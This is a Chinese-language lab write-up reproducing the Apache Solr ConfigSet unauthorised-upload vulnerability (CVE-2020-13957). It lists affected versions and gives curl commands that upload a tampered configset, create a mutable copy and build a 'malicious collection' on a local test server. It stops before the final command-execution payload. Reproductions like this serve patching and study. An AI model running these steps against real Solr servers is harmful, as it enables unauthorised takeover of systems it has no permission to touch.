Apache Solr RCE 未授权上传漏洞(CVE-2020-13957)
0x01 漏洞简介
Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。
Apache Solr 发布公告,旧版本的ConfigSet API 中存在未授权上传漏洞风险,被利用可能导致 RCE (远程代码执行)。
0x02 影响版本
- Apache Solr6.6.0 -6.6.5
- Apache Solr7.0.0 -7.7.3
- Apache Solr8.0.0 -8.6.2
0x03 环境搭建
进入solr-8.2.0/bin目录下,使用命令启动一个cloud示例,默认安装即可。
solr.cmd start -e cloud -f -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=10010" -port 8983 -s "C:\Users\P\Desktop\solr\solr-8.2.0\example\example-DIH\solr"
显示到这一步表示安装完成
在浏览器输入http://127.0.0.1:8983/
0x04 漏洞复现
将solr目录\server\solr\configsets_default\conf下的solrconfig.xml中的params.resource.loader.enabled修改为true。(为远程命令执行做准备)
将conf目录文件打包成zip并上传
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=test"
创建成功http://127.0.0.1:8983/solr/admin/configs?action=LIST&omitHeader=true
根据UPLOAD的配置,创建一个新的配置,绕过不能通过直接UPLOAD创建collection的限制
curl "http:/127.0.0.1:8983/solr/admin/configs?action=CREATE&name=test1&baseConfigSet=test&configSetProp.immutable=false&wt=xml&omitHeader=true"
根据CREATE得到的新configset创建恶意collection
curl "http:/127.0.0.1:8983/solr/admin/collections?action=CREATE&numShards=1&name=test2&collection.configName=test1"
利用已上传的collection进行远程命令执行